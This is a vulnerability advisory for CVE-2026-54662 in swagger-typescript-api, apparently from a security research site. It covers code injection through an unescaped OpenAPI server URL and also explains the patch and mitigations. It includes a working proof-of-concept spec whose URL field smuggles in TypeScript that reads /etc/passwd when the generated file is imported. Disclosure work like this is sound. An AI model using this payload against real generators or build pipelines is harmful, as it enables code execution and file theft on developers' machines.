CVE-2026-54662: swagger-typescript-api Code Injection via Unescaped servers[0].url in Fetch Client Template
swagger-typescript-api pastes the OpenAPI server URL directly into a TypeScript class field initializer without escaping, so a malicious spec can inject arbitrary code that runs the moment the…
![CVE-2026-54662: swagger-typescript-api Code Injection via Unescaped servers[0].url in Fetch Client Template](https://securelayer7.net/media/lab-aa462f1b.webp)
The problem
The fetch HTTP client template (templates/base/http-clients/fetch-http-client.ejs:75) uses Eta's raw interpolation tag <%~ %> to embed apiConfig.baseUrl into a double-quoted string literal that initializes public baseUrl inside the generated HttpClient class.
There is no sanitization at the source. createApiConfig in src/code-gen-process.ts:591 copies swaggerSchema.servers[0].url into baseUrl verbatim. The only escape helper in the codebase (escapeJSDocContent) only strips */ and is never called on this path.
Anyone who runs the generator against an untrusted OpenAPI spec, such as a third-party or attacker-hosted URL, a vendor spec in CI, or a PR-modified spec file, is affected.
Proof of concept
A working proof-of-concept for CVE-2026-54662 in swagger-typescript-api, with the exact payload below.
{
"openapi": "3.0.0",
"info": { "title": "PwnAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}The " in the malicious URL closes the string literal that initializes public baseUrl, breaking out of it mid-class-body. TypeScript class bodies accept any number of field declarations and static blocks between { and }, so the injected static _pwn = (async IIFE)() is syntactically valid.
The trailing public x: string = " re-opens a string that the template's own closing " terminates, keeping the whole file parseable.
TypeScript evaluates static field initializers at class definition time, which happens when the module is first imported. No instantiation and no method call is needed; a bare import of the generated file is sufficient to execute the payload.
The patch (commit 306d59acb8ffbb00f953f807b97234b21f51d9de, PR #1779) escapes apiConfig.baseUrl before interpolation, equivalent to JSON.stringify(serverUrl).slice(1, -1), ensuring that ", \, and newline characters can no longer escape the string literal context.
The same fix covers the sibling axios template sink.
The fix
Upgrade to swagger-typescript-api@13.12.2 or later. The fix escapes servers[0].url at the source in createApiConfig before it reaches either the fetch or axios HTTP client templates. If you cannot upgrade immediately, audit any spec you did not author entirely before passing it to the generator, and review generated output for unexpected static fields.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 8.3CVE-2026-54661CVE-2026-54661: swagger-typescript-api Axios HTTP Client Code Injection via servers[0].url
- high · 8.3CVE-2026-54664CVE-2026-54664: swagger-typescript-api Code Injection via Unescaped Enum Values
- high · 7.4CVE-2026-54660CVE-2026-54660: swagger-typescript-api Authorization Token Exfiltration via Cross-Origin $ref
- critical · 10@prompty/core Server-Side Template Injection to Remote Code Execution